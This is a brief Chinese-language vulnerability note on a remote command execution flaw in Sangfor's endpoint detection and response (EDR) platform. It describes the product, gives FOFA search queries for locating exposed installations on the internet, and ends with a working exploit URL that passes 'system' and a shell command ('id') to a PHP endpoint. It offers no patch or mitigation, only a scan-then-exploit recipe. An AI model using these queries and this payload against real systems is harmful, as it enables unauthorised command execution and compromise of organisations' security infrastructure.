

S5-2深信服-终端检测响应平台-RCE

漏洞描述：

深信服终端检测响应平台EDR可通过云端联动协同、威胁情报共享、多层级响应机制，帮助用户快速处置终端安全问题，构建轻量级、智能化、响应快的下一代终端安全系统。

深信服终端检测响应平台（EDR）存在远程命令执行漏洞。

攻击者可通过构造HTTP请求来利用此漏洞，成功利用此漏洞的攻击者可以在目标主机上执行任意命令。

网站图片：



网络测绘：

fofa语法：

app="SANGFOR-EDR"

title="终端检测响应平台"

漏洞复现：

漏洞链接：

https://xx.xx.xx.xx/tool/log/c.php?strip_slashes=system&host=id

